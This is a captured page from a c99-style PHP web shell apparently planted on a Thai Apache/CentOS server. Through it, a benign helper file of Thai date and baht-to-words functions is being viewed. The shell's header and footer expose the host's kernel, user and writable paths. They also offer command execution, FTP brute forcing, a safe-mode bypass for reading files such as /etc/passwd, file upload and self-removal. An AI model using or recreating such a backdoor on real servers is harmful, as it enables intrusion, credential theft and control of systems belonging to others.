!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/helpers/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     function_helper.php (20.83 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
function getNowDate() {
    
$yy date('Y');
    
$mm date('m');
    
$dd date('d');
    return 
$yy.'-'.$mm.'-'.$dd;
}

function 
getNowDateFw($sp="-") {
    
$yy date('Y');
    
$mm date('m');
    
$dd date('d');
    return 
$dd.$sp.$mm.$sp.$yy;
}

function 
getNowDateFw2() {
    
$yy date('Y');
    
$mm date('m');
    
$dd date('d');
    return 
$dd.'/'.$mm.'/'.$yy;
}

function 
getNowDateTh() {
    
$yy date('Y')+543;
    
$mm date('m');
    
$dd date('d');
    return 
$yy.'-'.$mm.'-'.$dd;
}

function 
getNowDateFwTh() {
    
$yy date('Y')+543;
    
$mm date('m');
    
$dd date('d');
    return 
$dd.'-'.$mm.'-'.$yy;
}

function 
getCVyearEgToTh() {
    
$yy date('Y')+543;
    return 
$yy;
}

function 
splitDateForm($date,$sp="-") {
    list(
$dd$mm$yy) = preg_split("[/|-]"$date);
    
$yy += 543;
    return 
$yy.'-'.$mm.'-'.$dd;
}

function 
splitDateForm2($date$sp="-") {
    list(
$dd$mm$yy) = preg_split("[/|-]"$date);
    return 
$yy.$sp.substr('0'.$mm, -2).$sp.substr('0'.$dd, -2);
}

function 
splitDateForm3($date,$sp="/") {
    list(
$dd$mm$yy) = preg_split("[\/]"$date);
    
$yy -= 543;
    return 
$yy.'-'.$mm.'-'.$dd;
}

function 
splitDateDb($date$sp="-") {
    list(
$yy$mm$dd) = preg_split("[/|-]"$date);
    
$yy -= 543;
    return 
$dd."$sp".$mm."$sp".$yy;
}

function 
splitDateDb2($date$sp="-") {
    list(
$yy$mm$dd) = preg_split("[/|-]"$date);
    return 
$dd."$sp".$mm."$sp".$yy;
}

function 
splitDateDb3($date$sp="-") {
    list(
$yy$mm$dd) = preg_split("[/|-]"$date);
    
$yy += 543;
    return 
$dd."$sp".$mm."$sp".$yy;
}

function 
getMonthTh($mm) {
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม';}
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม';}
    else if(
$mm=='11') { $mm='พฤศจิกายน';}
    else if(
$mm=='12') { $mm='ธันวาคม'; }

    return 
"$mm";
}

function 
fullDate($date) {
    list(
$dd$mm$yy) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    
    
$yy += 543;
    return 
"$dd $mm $yy";
}

function 
fullDate2($date) {
    list(
$yy$mm$dd) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    
    
$yy += 543;
    return 
"$dd $mm $yy";
}

function 
fullDateDB($date) {
    list(
$yy$mm$dd) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    
    return 
"$dd $mm $yy";
}

function 
fullDateEng($date) {
    list(
$dd$mm$yy) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='January'; }
    else if(
$mm=='02') { $mm='February'; }
    else if(
$mm=='03') { $mm='March'; }
    else if(
$mm=='04') { $mm='April'; }
    else if(
$mm=='05') { $mm='May'; }
    else if(
$mm=='06') { $mm='June'; }
    else if(
$mm=='07') { $mm='July'; }
    else if(
$mm=='08') { $mm='August'; }
    else if(
$mm=='09') { $mm='September'; }
    else if(
$mm=='10') { $mm='October'; }
    else if(
$mm=='11') { $mm='November'; }
    else if(
$mm=='12') { $mm='December'; }
    
    return 
"$mm $dd, $yy";
}

function 
abbreDate($date) {
    list(
$dd$mm$yy) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='ม.ค.'; }
    else if(
$mm=='02') { $mm='ก.พ.'; }
    else if(
$mm=='03') { $mm='มี.ค.'; }
    else if(
$mm=='04') { $mm='เม.ย.'; }
    else if(
$mm=='05') { $mm='พ.ค.'; }
    else if(
$mm=='06') { $mm='มิ.ย.'; }
    else if(
$mm=='07') { $mm='ก.ค.'; }
    else if(
$mm=='08') { $mm='ส.ค.'; }
    else if(
$mm=='09') { $mm='ก.ย.'; }
    else if(
$mm=='10') { $mm='ต.ค.'; }
    else if(
$mm=='11') { $mm='พ.ย.'; }
    else if(
$mm=='12') { $mm='ธ.ค.'; }
    
    
$yy += 543;
    return 
"$dd $mm $yy";
}

function 
abbreDate2($date) {
    list(
$yy$mm$dd) = preg_split("[/|-]",$date);

    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='ม.ค.'; }
    else if(
$mm=='02') { $mm='ก.พ.'; }
    else if(
$mm=='03') { $mm='มี.ค.'; }
    else if(
$mm=='04') { $mm='เม.ย.'; }
    else if(
$mm=='05') { $mm='พ.ค.'; }
    else if(
$mm=='06') { $mm='มิ.ย.'; }
    else if(
$mm=='07') { $mm='ก.ค.'; }
    else if(
$mm=='08') { $mm='ส.ค.'; }
    else if(
$mm=='09') { $mm='ก.ย.'; }
    else if(
$mm=='10') { $mm='ต.ค.'; }
    else if(
$mm=='11') { $mm='พ.ย.'; }
    else if(
$mm=='12') { $mm='ธ.ค.'; }
    
    
$yy += 543;
    return 
"$dd $mm $yy";
}

function 
getNowDay() {
    
$dd date('d');
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    return 
$dd;
}

function 
convertDayNumberToString($dd) {
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    return 
$dd;
}

function 
getNowMonth() {
    return 
date('m');
}

function 
getNowMonthTh($mm) {
    
//$mm = date('m');
    
if($mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    return 
$mm;
}

function 
convertMonthNumberToString($mm) {
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    return 
$mm;
}

function 
getNowYear () {
    return 
date('Y');
}

function 
getNowYearTh() {
    return 
date('Y')+543;
}

function 
readNumber($number$len) {
    if(
$number=='0') { $number ""; }
    else if(
$number=='1') {
        if(
$len==2) { $number ""; }
        else { 
$number "หนึ่ง"; }
    }
    else if(
$number=='2') { 
        if(
$len==2) { $number "ยี่"; }
        else { 
$number "สอง"; }
    }
    else if(
$number=='3') { $number "สาม"; }
    else if(
$number=='4') { $number "สี่"; }
    else if(
$number=='5') { $number "ห้า"; }
    else if(
$number=='6') { $number "หก"; }
    else if(
$number=='7') { $number "เจ็ด"; }
    else if(
$number=='8') { $number "แปด"; }
    else if(
$number=='9') { $number "เก้า"; }
    return 
$number;
}

function 
readUnit($len) {
    if(
$len=='1') { $len ""; }
    else if(
$len=='2') { $len "สิบ"; }
    else if(
$len=='3') { $len "ร้อย"; }
    else if(
$len=='4') { $len "พัน"; }
    else if(
$len=='5') { $len "หมื่น"; }
    else if(
$len=='6') { $len "แสน"; }
    else if(
$len=='7') { $len "ล้าน"; }
    return 
$len;
}

function 
num2thai($number){
    
$t1 = array("ศูนย์""หนึ่ง""สอง""สาม""สี่""ห้า""หก""เจ็ด""แปด""เก้า");
    
$t2 = array("เอ็ด""ยี่""สิบ""ร้อย""พัน""หมื่น""แสน""ล้าน");
    
$zerobahtshow 0// ในกรณีที่มีแต่จำนวนสตางค์ เช่น 0.25 หรือ .75 จะให้แสดงคำว่า ศูนย์บาท หรือไม่ 0 = ไม่แสดง, 1 = แสดง
    
(string) $number;
    
$number explode("."$number);
    if (!empty(
$number[1])) {
        if (
strlen($number[1]) == 1) {
            
$number[1] .= "0";
        } else if (
strlen($number[1]) > 2) {
            if (
$number[1]{2} < 5) {
                
$number[1] = substr($number[1], 02);
            } else {
                
$number[1] = $number[1]{0}.($number[1]{1}+1);
            }
        }
    }
    for (
$i 0$i count($number); $i++) {
        
$countnum[$i] = strlen($number[$i]);
        if (
$countnum[$i] <= 7) {
            
$var[$i][] = $number[$i];
        } else {
            
$loopround ceil($countnum[$i]/6);
            for (
$j 1$j <= $loopround$j++) {
                if (
$j == 1) {
                    
$slen 0;
                    
$elen $countnum[$i]-(($loopround-1)*6);
                } else {
                    
$slen $countnum[$i]-((($loopround+1)-$j)*6);
                    
$elen 6;
                }
                
$var[$i][] = substr($number[$i], $slen$elen);
            }
        }
        
$nstring[$i] = "";
        for (
$k 0$k count($var[$i]); $k++) {
            if (
$k 0$nstring[$i] .= $t2[7];
            
$val $var[$i][$k];
            
$tnstring "";
            
$countval strlen($val);
            for (
$l 7$l >= 2$l--) {
                if (
$countval >= $l) {
                    
$v substr($val, -$l1);
                    if (
$v 0) {
                        if (
$l == && $v == 1) {
                            
$tnstring .= $t2[($l)];
                        } else if (
$l == && $v == 2) {
                            
$tnstring .= $t2[1].$t2[($l)];
                        } else {
                            
$tnstring .= $t1[$v].$t2[($l)];
                        }
                    }
                }
            }
            if (
$countval >= 1) {
                
$v substr($val, -11);
                if (
$v 0) {
                    if (
$v == && $countval && substr($val, -21) > 0) {
                        
$tnstring .= $t2[0];
                    } else {
                        
$tnstring .= $t1[$v];
                    }
                }
            }
            
$nstring[$i] .= $tnstring;
        }
    }
    
$rstring "";
    if (!empty(
$nstring[0]) || $zerobahtshow == || empty($nstring[1])) {
        if (
$nstring[0] == ""$nstring[0] = $t1[0];
        
$rstring .= $nstring[0]."บาท";
    }
    if (
count($number) == || empty($nstring[1])) {
        
$rstring .= "ถ้วน";
    } else {
        
$rstring .= $nstring[1]."สตางค์";
    }
    return 
$rstring;
}

function 
convertNumberToString($amount) {
    list(
$baht$satang) = preg_split('[\.]'$amount);
    while (
strlen($satang) < 2) {
        
$satang .= '0';
    }
        
    
$str "";
    
$len strlen($baht);
    
$i 0;
    while (
$i strlen($baht)) {
        if (
$len==&& $baht[$i-1]!=&& $baht[$i]==1) {
            
$str .= "เอ็ด";
        } else {
            
$str .= readNumber($baht[$i], $len);
        }
        
        if (
$baht[$i] != 0) {
            
$str .= readUnit($len);
        }
        
        
$len--;
        
$i++;
    }
    
    if (
$str != "") {
        
$str .= "บาท";
    }
    
    
$len strlen($satang);
    
$i 0;
    while (
$i strlen($satang)) {
        if (
$len==&& $satang[$i-1]!=&& $satang[$i]==1) {
            
$str .= "เอ็ด";
        } else {
            
$str .= readNumber($satang[$i], $len);
        }

        if (
$satang[$i] != 0) {
            
$str .= readUnit($len);
        }
        
        
$len--;
        
$i++;
    }
    
    if (
$satang != '00') {
        
$str .= "สตางค์";
    }
    
    return 
$str;
}

// returns <0, 0, >0 if date a< date b,date a== date b,date a > date b respectively.
function compareDate($i_sFirstDate$i_sSecondDate)
{
//Break the Date strings into seperate components
$arrFirstDate explode ("-"$i_sFirstDate);
$arrSecondDate explode ("-"$i_sSecondDate);

$intFirstDay $arrFirstDate[0];
$intFirstMonth $arrFirstDate[1];
$intFirstYear $arrFirstDate[2];

$intSecondDay $arrSecondDate[0];
$intSecondMonth $arrSecondDate[1];
$intSecondYear $arrSecondDate[2];


// Calculate the diference of the two dates and return the number of days.


$intDate1Jul gregoriantojd($intFirstMonth$intFirstDay$intFirstYear);
$intDate2Jul gregoriantojd($intSecondMonth$intSecondDay$intSecondYear);

return 
$intDate1Jul $intDate2Jul;

}
//end Compare Date

function time_diff($from$to) {
    list(
$byear,$bmonth,$bday) = explode("-",$from);
    list(
$tyear,$tmonth,$tday) = explode("-",$to);
    if(
$byear<1970){
        
$mYear_adjust 1970-$byear;
        
$byear 1970;
    }else{
        
$mYear_adjust=0;
    }
    
$a_year $tyear $byear;
    
$a_month $tmonth $bmonth;
    
$a_month -= ($bday>$tday)?1:0;
    
    
$byear_new $tyear;
    
$bmonth_new $tmonth;
    
$bmonth_new -= ($bday>$tday)?1:0;
    
    if(
$a_month 0){
        
$a_month += 12;
        
$a_year--;
    }
    if(
$tday >= $bday){
        
$a_day $tday $bday;
    }else{
        
$tmp_timestamp mktime(0,0,0,$bmonth_new,1,$byear_new);
        
$a_day = (date("t",$tmp_timestamp) - $bday)+ $tday;
    }
    
$a_year += $mYear_adjust;
    return 
"$a_year";
    
//return "$a_year ,$a_month ,$a_day";
}

function 
checkWeekDay($date$weekDay) {
    list(
$dd$mm$yy) = preg_split("[/|-]"$date);
    if(
date("w"mktime(000$mm$dd$yy)) == $weekDay)
        return 
true;
    else
        return 
false;
}

function 
getWeekDay($date) {
    list(
$dd$mm$yy) = preg_split("[/|-]"$date);
    return 
date("w"mktime(000$mm$dd$yy));
}

function 
futureDay($date$numDay) {
    list(
$yy$mm$dd) = preg_split("[/|-]"$date);
    
$futureDate date("U"mktime(000$mm$dd$yy)) + ($numDay 24 60 60);
    return 
date("Y-m-d"$futureDate);
}

function 
pastDay($date$numDay) {
    list(
$yy$mm$dd) = preg_split("[/|-]"$date);
    
$pastDate date("U"mktime(000$mm$dd$yy)) - ($numDay 24 60 60);
    return 
date("Y-m-d"$pastDate);
}

function 
numDay($frDate$toDate) {
    list(
$yy1$mm1$dd1) = preg_split("[/|-]"$frDate);
    list(
$yy2$mm2$dd2) = preg_split("[/|-]"$toDate);
    return (
mktime(000$mm2$dd2$yy2) - mktime(000$mm1$dd1$yy1)) / (24 60 60);
}

function 
getval($varname$rw$v='') {
    if ( 
set_value($varname) <> '' ) {
        
$v set_value($varname);
    } else if ( !
is_null($rw) ) {
        if (
$rw->$varname == "0000-00-00") {
            
$v getNowDateFw2();
        } else {
            
$v $rw->$varname;        // varname เป็นชื่อฟิลด์จากตาราง
        
}
    }
    return 
$v;
}

function 
fullDate3($date) {// yy  mm  dd
    
list($yy$mm$dd) = preg_split("[/|-]",$date);
    
    if(
$dd=='01') { $dd='1'; }
    else if(
$dd=='02') { $dd='2'; }
    else if(
$dd=='03') { $dd='3'; }
    else if(
$dd=='04') { $dd='4'; }
    else if(
$dd=='05') { $dd='5'; }
    else if(
$dd=='06') { $dd='6'; }
    else if(
$dd=='07') { $dd='7'; }
    else if(
$dd=='08') { $dd='8'; }
    else if(
$dd=='09') { $dd='9'; }
    
    if(
$mm=='01') { $mm='มกราคม'; }
    else if(
$mm=='02') { $mm='กุมภาพันธ์'; }
    else if(
$mm=='03') { $mm='มีนาคม'; }
    else if(
$mm=='04') { $mm='เมษายน'; }
    else if(
$mm=='05') { $mm='พฤษภาคม'; }
    else if(
$mm=='06') { $mm='มิถุนายน'; }
    else if(
$mm=='07') { $mm='กรกฎาคม'; }
    else if(
$mm=='08') { $mm='สิงหาคม'; }
    else if(
$mm=='09') { $mm='กันยายน'; }
    else if(
$mm=='10') { $mm='ตุลาคม'; }
    else if(
$mm=='11') { $mm='พฤศจิกายน'; }
    else if(
$mm=='12') { $mm='ธันวาคม'; }
    
    return 
"$dd $mm $yy";
}

function 
calAge($year){
    list(
$yy$mm$dd) = preg_split("[/|-]",$year);
    
$year_c=date('Y');
    
$year_o=$yy;
    
$age=($year_c+543)-$year_o;
    return 
"$age";
}

function 
calAge2($year){
    list(
$yy$mm$dd) = preg_split("[/|-]",$year);
    
$year_c=date('Y');
    
$month_c=date('m');
    
$day_c=date('d');
    
$year_o=$yy;
    
$month_o=$mm;
    
$day_o=$dd;
    if(
$year_c<=$year_o){
        if(
$month_c<$month_o){
            
$year = ($year_c+543)-$year_o-1;
            
$month $month_o-$month_c;
        } else if(
$month_c==$month_o){
            if(
$day_c<$day_o){
                
$year = ($year_c+543)-$year_o-1;
            } else {
                
$year = ($year_c+543)-$year_o;
            }
            
$month 0;
        } else {
            
$year = ($year_c+543)-$year_o;
            if(
$day_c<$day_o){
                
$month $month_c-$month_o-1;
            }else{
                
$month $month_c-$month_o;
            }
        }
    }
    
$day 0;
    return array(
$year,$month,$day);
}

function 
checkFomatIdCard($id){//เช็ค fomat เลขบัตรประจำตัวประชาชน
    
if(strlen($id)==13){
        
$arr substr($id0);
        
$sumV 0;
        for(
$i=0;$i<12;$i++) $sumV+=$arr[$i]*(13 $i);
        
$modV=11-($sumV%11);
        if(
$modV>9$modV-=10;
        if(
$modV!=$arr[12]) return false;
        else return 
true;
    }else return 
false;
}

/* http://upgradephp.berlios.de/ upgradephp-17.tgz */
if (!function_exists("json_encode")) {
    function 
json_encode($var/*emu_args*/$obj=FALSE) {

        
#-- prepare JSON string
        
$json "";

        
#-- add array entries
        
if (is_array($var) || ($obj=is_object($var))) {

            
#-- check if array is associative
            
if (!$obj) foreach ((array)$var as $i=>$v) {
                if (!
is_int($i)) {
                    
$obj 1;
                    break;
                }
            }

            
#-- concat invidual entries
            
foreach ((array)$var as $i=>$v) {
            
$json .= ($json "," "")    // comma separators
                
. ($obj ? ("\"$i\":") : "")   // assoc prefix
                
. (json_encode($v));    // value
            
}

            
#-- enclose into braces or brackets
            
$json $obj "{".$json."}" "[".$json."]";
        }

        
#-- strings need some care
        
elseif (is_string($var)) {
            if (!
utf8_decode($var)) {
                
$var utf8_encode($var);
            }
            
$var str_replace(array("\\""\"""/""\b""\f""\n""\r""\t"), array("\\\\"'\"'"\\/""\\b""\\f""\\n""\\r""\\t"), $var);
            
$json '"' $var '"';
            
//@COMPAT: for fully-fully-compliance   $var = preg_replace("/[\000-\037]/", "", $var);
        
}

        
#-- basic types
        
elseif (is_bool($var)) {
            
$json $var "true" "false";
        }
        elseif (
$var === NULL) {
            
$json "null";
        }
        elseif (
is_int($var) || is_float($var)) {
            
$json "$var";
        }

        
#-- something went wrong
        
else {
            
trigger_error("json_encode: don't know what a '" .gettype($var). "' is."E_USER_ERROR);
        }

        
#-- done
        
return($json);
    }
}

if (!
function_exists("Debug")) {
    function 
Debug($object$title null$default FALSE){

        if ( ! isset(
$object) ){
            return 
$default;
        }

        if(
$title) echo "<code>$title</code>";
        echo 
'<pre>';
        
print_r($object);
        echo 
'</pre>';

        
//return $array[$item];
    
}
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--